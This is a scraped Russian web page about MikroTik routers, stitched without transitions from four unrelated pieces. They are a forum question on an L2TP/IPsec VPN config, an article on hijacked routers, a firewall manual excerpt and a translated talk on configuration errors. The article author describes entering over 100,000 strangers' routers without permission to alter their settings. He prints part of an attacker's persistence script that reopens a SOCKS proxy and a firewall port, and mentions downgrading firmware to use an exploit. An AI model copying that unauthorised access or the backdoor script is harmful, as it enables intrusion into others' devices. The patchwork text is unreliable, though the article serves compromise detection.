Admin prohibited mikrotik что это
Admin prohibited mikrotik что это
Бесплатный чек-лист
по настройке RouterOS
на 28 пунктов
Добрый вечер!
Пытаюсь настроить статихеский site-to-site туннель между двумя микротиками. На одной стороне LAN 10.161.0.0/21 (gw 10.161.0.1), на другой LAN 10.161.8.0/21 (gw 10.161.10.1). Оба «Микротика» ходят в Инет через PPPoE и оба WAN’овских интерфейса имеют DDNS. Пытаюсь делать «по примеру»:
(1) первый сайт, основной
Порты, естественно, открыты. Логгирование включил (добавил ipsec в темы), сегодня погляжу.
Вот что в логе появляется. Несколько раз пробует послать пакеты, потом, в конце выходит время. Такое на обоих конца. Открыты порты 500, 4500, 1701.
/ppp profile
add change-tcp-mss=yes dns-server=192.168.1.254 local-address=172.21.16.254 \
name=VPN-server only-one=no remote-address=VPN-server use-compression=\
default use-encryption=default use-ipv6=no use-mpls=default \
use-vj-compression=default wins-server=192.168.1.3
set 3 change-tcp-mss=yes name=default-encryption only-one=default \
use-compression=default use-encryption=required use-ipv6=no use-mpls=\
default use-vj-compression=default
/ppp secret
add caller-id=”» disabled=no limit-bytes-in=0 limit-bytes-out=0 name=user password=passwd \
profile=VPN-server routes=”» service=l2tp
/ip pool
add name=VPN-server ranges=172.21.16.100-172.21.16.200
/interface l2tp-server server
set authentication=mschap1,mschap2 default-profile=VPN-server enabled=yes \
max-mru=1460 max-mtu=1460 mrru=disabled
/ip ipsec proposal
set [ find default=yes ] auth-algorithms=sha1 disabled=no enc-algorithms=3des \
lifetime=30m name=default pfs-group=modp1024
/ip ipsec peer
add address=0.0.0.0/0 auth-method=pre-shared-key comment=”COMPANY VPN” \
dh-group=modp1024 disabled=no dpd-interval=2m dpd-maximum-failures=5 \
enc-algorithm=3des exchange-mode=main-l2tp generate-policy=yes \
hash-algorithm=sha1 lifetime=1d my-id-user-fqdn=”» nat-traversal=yes port=\
500 secret=secret_password send-initial-contact=yes
/ip firewall filter
add action=accept chain=input comment=”L2TP VPN” disabled=no dst-address=\
xx.xx.xx.xx dst-port=500,4500,1701 protocol=udp
add action=accept chain=input comment=”L2TP VPN” disabled=no protocol=ipsec-esp
add action=accept chain=output comment=”L2TP VPN” disabled=no dst-address=\
xx.xx.xx.xx dst-port=500,4500,1701 protocol=udp
/system logging
add action=memory disabled=no prefix=”» topics=ipsec
add action=memory disabled=no prefix=”» topics=radius
Для чего хакерам Микротик и как я спрятал 100 тыс. RouterOS от ботнета
RouterOS очень мощный инструмент в руках профессионалов и ответственных специалистов. Но в руках новичков или тех, кто делает всё на «и так сойдёт» Mikrotik начинает жить своей жизнью и превращается в ноду ботнета.
Как ни странно, но в сети до сих пор тысячи «открытых» роутеров Mikrotik и армия ботнета пополняется.
Я в свободное от работы и отдыха время искал уязвимые устройства по всей сети и делал настройки в соответствии со своими рекомендациями, то есть добавлял правила фаервола, которые закрывали доступ к роутеру не из локальной сети. В комментариях писал информацию об уязвимости и оставлял адрес телеграм-канала @router_os, где можно было мне задать интересующие вопросы (у нормального админа они должны были появиться).
С мая по сегодняшний день я «вырвал» из лап ботнета более 100 тысяч устройств Mikrotik.
Учитывая то, что я не могу выступить на MUM 2018 в Москве, то свой доклад я решил опубликовать на habr.com
В сети много аналитики как именно используются RouterOS хакерами (например здесь). Но моя статья основана лично на моём опыте.
Админы и их реакция
По всему миру админы маршрутизаторов рано или поздно обнаруживали у себя такую пасхалку.
Большинство тихо закрывало дыру. Кто-то не поленились мне написать «спасибо». Но были и те, кто громко негодовал не разобравшись.
За всё время мне написало не более 50 человек…
Так как реакция пользователей была минимальна, то я пришёл к выводу, что подавляющее большинство даже и не заметит, что что-то на роутере не так. Поэтому я стал дорабатывать свой скрипт, который помимо правил фаервола будет удалять известные мне backdoors, которые оставили злоумышленники.
Логично, что мой метод устраивает не всех. Но другого подхода для выполнения данной задачи я не придумал ещё.
Хакеры любят RouterOS
В подавляющем большинстве случаев я попадал на устройство, которое уже кем-то заражено. Я, к сожалению, не сразу стал анализировать их содержимое. Вот что я нашёл и что будет верным признаком, что ваш роутер скомпрометирован.
Web-прокси и Socks
Самое банальное использование маршрутизатора через стандартные вэб и socks прокси. Если вы их не используете, но они включены, то просто выключите их.
/ip proxy set enabled=no
/ip socks set enabled=no
Но чтобы просто так не получилось выключить хакер добавляет в шедулер скрипт, которой прокси включит через некоторое время:
\»port\
\_5*\»];/ip socks set enabled=yes port=54321 max-connections=255 conne\
ction-idle-timeout=60;/ip socks access remove [/ip socks access find];/ip \
firewall filter add chain=input protocol=tcp port=54321 action=accept comm\
ent=\»port 54321\»;/ip firewall filter move [/ip firewall filter find comm\
ent=\»port 54321\»] 1;»
Вы можете обнаружить у себя файл webproxy/error.html который прокси вам подсовывает, а он в свою очередь вызывает майнер.
Лишние параметры появляются и здесь:
/ip proxy access print
/ip socks access print
Script может всё
По расписанию скачивается скрипт, которой в дальнейшем выполняется.
Таким образом у злоумышленников всегда есть возможность «скормить» новый скрипт и, например, провести масштабную DDOS атаку.
Поэтому проверяйте эти места тщательно. На чистом RouterOS эти места пустые.
DST-NAT
Хороший способ скрыть свой реальный ip.
Как же без него. RouterOS умеет подымать различные виды vpn, но хакеры чаще всего используют pptp и L2TP.
Поэтому проверьте раздел /ppp secret
Даже если этот раздел пуст, то ушлые хакеры могут авторизоваться и через Radius.
Проверяем наличие записей /radius print
Если вы ничего не настраивали, то там должно быть пусто. В противном случае стоит очистить:
/radius remove numbers=[/radius find ]
И запретить использовать Radius
/ppp aaa set use-radius=no use-circuit-id-in-nas-port-id=no
Отключаем использование Radius для авторизации на устройстве
/user aaa set use-radius=no
Если вы не используйте vpn, то отключите его
/interface l2tp-server server set enabled=no
/interface pptp-server server set enabled=no
/interface sstp-server server set enabled=no
DNS static
Без фишига так же не обошлось. На роутерах в /ip dns static можно обнаружить и такое
Всё очень просто: вы в адресную строку вбиваете адрес сайта, который вы знаете, а фактически попадаете на сервер злоумышлинника.
/ip dns static remove numbers=[/ip dns static find]
Урезание прав админа
UPD: Так же есть группа роутеров, где хакер урезал права у admin и завёл своего с полными правами (например router и cnt), либо просто отбирает права и обновляет прошивку на последнюю.
[router@MikroTik] > /user print
Flags: X — disabled
# NAME GROUP ADDRESS LAST-LOGGED-IN
0 ;;; system default user
admin admin sep/18/2018 15:08:45
1 dima full sep/14/2018 19:54:00
2 router full sep/26/2018 09:23:41
[router@MikroTik] > /user group print
0 name=«read» policy=local,telnet,ssh,reboot,read,test,winbox,password,web,sniff,sensitive,api,romon,tikapp,!ftp,!write,!policy,!dude skin=default
1 name=«write» policy=local,telnet,ssh,reboot,read,write,test,winbox,password,web,sniff,sensitive,api,romon,tikapp,!ftp,!policy,!dude skin=default
2 name=«full» policy=local,telnet,ssh,ftp,reboot,read,write,policy,test,winbox,password,web,sniff,sensitive,api,romon,dude,tikapp skin=default
3 name=«admin» policy=local,ftp,reboot,read,write,test,winbox,password,web,sniff,sensitive,api,!telnet,!ssh,!policy,!romon,!dude,!tikapp skin=default
Как вариант решения этой проблемы: через netinstall сделать downgrade на уязвимую прошивку и воспользоваться эксплоитом.
Packet Sniffer
Коллеги из Лаборатории Касперского упомянули кражу трафика по средствам его перенаправления на неизвестный узел.
Выключить его можно так:
/tool sniffer stop
/tool sniffer set streaming-enabled=no filter-ip-protocol=»» filter-port=»» filter-interface=»» filter-stream=no
Проблема продукции Mikrotik
Абсолютно защищённых систем не существует. А массовое распространение продукции Mikrotik так же повлекло массовое изучение этих устройств.
Так как функционал RouterOS позволяет выполнять огромное количество задач он интересен и хакерам в том числе.
Из-за того, что продукт очень динамично развивается, то и скорость появления новых «дыр» тоже велико. Не смотря на это компания Микротик оперативно выпускает заплатки для своих систем.
Выход
На сегодняшний день единственным верным решением для защиты RouterOS — это корректно настроенный фаервол, который работает по принципу «запрещено всё, что явно не разрешено».
А всё потому, что Микротик использует классический фаервол Linux, который годами оттачивался армией специалистов.
Если требуется доступ к устройству из глобальной сети, то используйте принцип «port knocking». Принцип «fail2ban» себя не всегда оправдывает, так как всё равно обнаруживает устройство.
Глобальные решения
Режим ламера
В виду того, что устройства очень дешёвые, то их покупают пользователи, которые не имеют специальных знаний. Компании Mikrotik необходимо разработать интерфейс «ламера», который имеет минимальное количество настроек как и большинство SOHO роутеров. Причём он должен быть по умолчанию. А расширенный режим пользователь должен включить осознано сам. Текущий «Quick set» не достаточно хорош. Более того из-за изобилия кнопок юзер может и не заметить эту функцию.
Bug analyzer
Так же необходим модуль, который проводит анализ текущей конфигурации на возможные уязвимости и уведомляет пользователя, если считает, что роутер может быть скомпрометирован. Этот модуль должен подгружать «базу знаний», которую наполняют сотрудники Mikrotik на основании распространённых ошибок. А в случае серьёзных уязвимостей включать «аварийный» режим.
Если я смог систематизировать часть угроз, то разработчики и подавно…
FireWall — как услуга провайдеров
Рынок «умных» устройств очень бурно развиваются и они далеко не все хорошо защищены. Большинство людей, которые их приобретают, так же не владеют специальными знаниями, чтобы самостоятельно защитить свои гаджеты.
Поэтому интернет провайдерам пора создать коммерческую услугу по защите таких гаджетов. Банально пользователь в личном кабинете указывает какие порты открыть из интернета.
Так же провайдеры могут создать централизованную базу по существующим устройствам и их нормальным потребностям. Пользователь указывает в ЛК какие устройства у него используются. В случае нестандартного поведения такого устройства — уведомлять пользователя.
Я считаю, что рынок уже созрел для такой услуги.
В этой услуге есть следующие плюсы:
Немного о себе
Попытаюсь ответить на вопросы, которые наверняка мне зададут.
Manual:IP/Firewall/Filter
Contents
Summary
Sub-menu: /ip firewall filter
The firewall implements packet filtering and thereby provides security functions that are used to manage data flow to, from and through the router. Along with the Network Address Translation it serves as a tool for preventing unauthorized access to directly attached networks and the router itself as well as a filter for outgoing traffic.
Network firewalls keep outside threats away from sensitive data available inside the network. Whenever different networks are joined together, there is always a threat that someone from outside of your network will break into your LAN. Such break-ins may result in private data being stolen and distributed, valuable data being altered or destroyed, or entire hard drives being erased. Firewalls are used as a means of preventing or minimizing the security risks inherent in connecting to other networks. Properly configured firewall plays a key role in efficient and secure network infrastrure deployment.
MikroTik RouterOS has very powerful firewall implementation with features including:
Chains
Firewall filtering rules are grouped together in chains. It allows a packet to be matched against one common criterion in one chain, and then passed over for processing against some other common criteria to another chain. For example a packet should be matched against the IP address:port pair. Of course, it could be achieved by adding as many rules with IP address:port match as required to the forward chain, but a better way could be to add one rule that matches traffic from a particular IP address, e.g.: /ip firewall filter add src-address=1.1.1.2/32 jump-target=»mychain» and in case of successfull match passes control over the IP packet to some other chain, id est mychain in this example. Then rules that perform matching against separate ports can be added to mychain chain without specifying the IP addresses.
There are three predefined chains, which cannot be deleted:
Packet flow diagrams illustrate how packets are processed in RouterOS.
When processing a chain, rules are taken from the chain in the order they are listed there from top to bottom. If a packet matches the criteria of the rule, then the specified action is performed on it, and no more rules are processed in that chain (the exception is the passthrough action). If a packet has not matched any rule within the built-in chain, then it is accepted.
Properties
For example, if router receives Ipsec encapsulated Gre packet, then rule ipsec-policy=in,ipsec will match Gre packet, but rule ipsec-policy=in,none will match ESP packet.
Matches source address type:
Stats
/ip firewall filter print stats will show additional read-only properties
Property | Description |
---|---|
bytes (integer) | Total amount of bytes matched by the rule |
packets (integer) | Total amount of packets matched by the rule |
By default print is equivalent to print static and shows only static rules.
To print also dynamic rules use print all.
Or to print only dynamic rules use print dynamic
Недавно я проходил обучение по MikroTik, на котором узнал про презентацию под названием My «holy war» against masquerade. Я не смог найти точную информацию о том, кто выступал с этой презентацией. Знаю только, что это было на одном из MUM (MikroTik User Meeting) в 2017 году. Информация в этой презентации мне показалась полезной, поэтому я решил ее перевести и прокомментировать.
Введение
У меня есть некоторое количество статей по работе с описываемыми устройствами, в том числе популярный материал на тему базовой настройки mikrotik, которую прочитало и прокомментировало огромное количество людей. В статьях есть не совсем верные, а иногда и ошибочные настройки, о которых никто не упомянул в комментариях. Информация о них есть в вышеупомянутой презентации, поэтому я решил ее перевести и разобрать. А затем и отредактировать свои статьи, чтобы исправить там ошибки.
Я не такой уж большой специалист в микротиках, так что могу что-то не совсем верно понять и перевести. Прошу об этом сказать в комментариях, если кто-то заметит. К тому же последние пару-тройку лет для меня микротики скорее как хобби. Я не работаю с физическими сетями и устройствами, которые их обслуживают. Микротиками пользуюсь в личных целях дома, на даче, у знакомых.
Большая нагрузка от использования фильтра Layer 7
У меня есть статья про блокировку сайтов микротиком. В ней показана ошибочная настройка, которую как раз разбирает автор презентации.
В принципе, тут не трудно догадаться, в чем проблема. Об этом говорили и в комментариях, и сам я знал, что могут быть проблемы с производительностью. Суть в том, что с таким правилом блокировки все пакеты будут анализироваться по регулярным выражениям. Это очень затратная по ресурсам процессора операция. Где-то дома, где небольшой трафик, это может быть не очень заметно. Но если ваш роутер прокачивает хорошую нагрузку, то несколько подобных правил выведут загрузку CPU в потолок.
Действовать нужно по-другому. Layer 7 protocol задуман как способ поиска определенных шаблонов в подключениях для маркировки трафика на основе этих шаблонов. А дальше уже маркированный трафик обрабатывается фаерволом. Фильтр с Layer 7 protocol не должен проверять абсолютно весь трафик. Он должен брать первые 10 пакетов или 2KB данных подключения и анализировать только их.
Корректное использование Layer 7 protocol показано на следующем примере.
Очереди работают неправильно
При такой настройке очереди будут работать, только когда запущена утилита Torch, или выключен fasttrack. При этом обрабатывается только download трафик. Между локальными сетями так же срабатывает ограничение. Обнаружить ошибку можно по счетчикам в очередях. Они покажут, когда правило работает, а когда нет.
Причина этой ошибки в том, что режим Fasttrack работает для всего трафика, а он работу с очередями не поддерживает. Ускорение обработки трафика в режиме fasttrack как раз и достигается за счет того, что трафик не проходит по всем цепочкам обработки трафика фаерволом и очередями. Так же в правилах очередей не установлен параметр target.
В данном случае правильно simple queue должны быть настроены следующим образом.
Мы включили fasttrack только для трафика между указанными локальными сетями. Остальной трафик идет в обычном режиме. Плюс, корректно настроили очереди, указав target.
Высокая нагрузка CPU на PPPoE server
Проблема данной конфигурации в том, что возникает огромная нагрузка на CPU, из-за чего отключает абонентов, у них нестабильная связь. Как я понял, это актуально для провайдеров, которые используют оборудование Микротик для подключения абонентов.
Во время диагностики видно, что процесс routing полностью загружает одно ядро на 100%. На остальных ядрах периодически появляется максимальная нагрузка процессов ppp и networking.
Причина данной ошибки в том, что динамическая маршрутизация OSPF спамит обновлением маршрутов с сеткой /32 от клиентов. При этом, все протоколы динамической маршрутизации в микротиках ограничены одним ядром. То есть параллелить свою работу не умеют. В итоге, при каждом подключении или отключении абонента по pppoe, начинается обновление маршрутов. Когда их много, они загружают полностью ядро процессора и все начинает тормозить.
High CPU load on PPPoE server
Еще одна проблема с похожими симптомами. Есть PPPoE сервер и куча клиентов. Все это в какой-то момент начинает тормозить. Максимальную нагрузку дает процесс firewall. Для клиентов используется NAT с правилом Masquerade.
В данном случае использование Masquerade является ошибкой. По своей сути, маскарад это отдельная реализация srcnat. Она была разработана для ситуаций, когда внешний ip адрес не постоянный, периодически меняется. Каждый раз, когда интерфейс отключается или меняется его ip адрес, роутер ищет и сбрасывает все подключения, связанные с этим интерфейсом.
В данном случае правильно будет использовать srcnat.
Как я понял из описания проблемы и варианта решения, нужно всегда использовать srcnat, когда у вас постоянный ip адрес. Masquerade только для не постоянного ip адреса.
Локальный ip адрес виден в публичной сети
Ошибка возникает, когда у вас используется несколько каналов в интернет и автоматическое переключение между ними на основе смены дефолтного маршрута. Ip адреса постоянные, но при этом используется Masquerade.
После переключения внешнего канала, информация о серых адресах утекает во внешнюю сеть. Проблема тут как раз в использовании маскарада там, где это не нужно.
Причина ошибки в том, что при переключении каналов все соединения сбрасываются. После этого сброшенные подключения приходят на firewall с состоянием new и отправляются во вне по другому маршруту. Когда основной линк поднимается и восстанавливается исходный маршрут, все установленные соединения по альтернативному маршруту уходят во вне мимо NAT, без преобразования серых адресов.
Так же в презентации предлагается сделать маршрут заглушку blackhole для каждого routing-mark. Я не понял, что это такое.
VRRP и проблемы маршрутизации
Симптомы ошибки следующие. Маршрутизация работает неправильно. Fastpath/fasttrack тоже не работает. Сетевые процессы создают высокую нагрузку на процессор.
Причина в том, что VRRP интерфейс создает 2 интерфейса с двумя одинаковыми подсетками на них. Возникает сетевой конфликт. Правильная настройка будет следующая.
DNS Cache
Симптомом проблемы с dns cache будет высокая нагрузка на CPU роутера и большой трафик на внешнем интерфейсе. Заметить проблему можно будет через torch или profile.
Проблема давно известная. Я сам с ней сталкивался, когда забывал фаерволом закрыть доступ к dns микротика из интернета. Существует известный тип атаки DNS Amplification. Подробнее о нем можно почитать в интернете. Суть в том, что на dns сервер поступает запрос с поддельным адресом отправителя. В качестве ответа dns отправляет большой объем данных на поддельный ip адрес. Таким образом на этот адрес устраивается ddos атака.
IPSec туннель не работает
Суть проблемы в том, что не удается создать туннель, потому что пакеты ipsec дропаются. Причина тут в том, что правила NAT подменяют src-address в шифрованных пакетах. В итоге измененный адрес источника не принимается на второй стороне.
Решить эту проблему можно с помощью raw table. Смысл этой таблицы в том, что с ее помощью можно обходить механизм трекинга соединений (connection tracker), пропуская напрямую или дропая пакеты. Это в целом снижает нагрузку на CPU, если у вас сильно нагруженная железка.
В данном случае нужно добавить действие notrack для ipsec пакетов, для того, чтобы:
Шифрованный Bridge для двух локальных сетей через интернет
Проблема данной схемы в том, что все тормозит и работает нестабильно. Как я понял, используется EoIP поверх l2tp для того, чтобы построить единое адресное пространство для двух удаленных сетей. Причина тормозов в огромных накладных расходах двух туннелей, сильной фрагментации пакетов.
Решением в данном случае будет просто не использовать такую схему построения vpn в Mikrotik. Достаточно использовать шифрованный EoIP туннель.
Заключение
На этом все. Разобрал все проблемы из презентации. Постарался не просто перевести, а осмыслить проблемы и написать понятным языком их суть и предложенное решение. Так как сам не имею большого опыта работы с Микротиками в промышленной нагруженной эксплуатации, мог что-то напутать или понять неправильно. Прошу поправить в комментариях.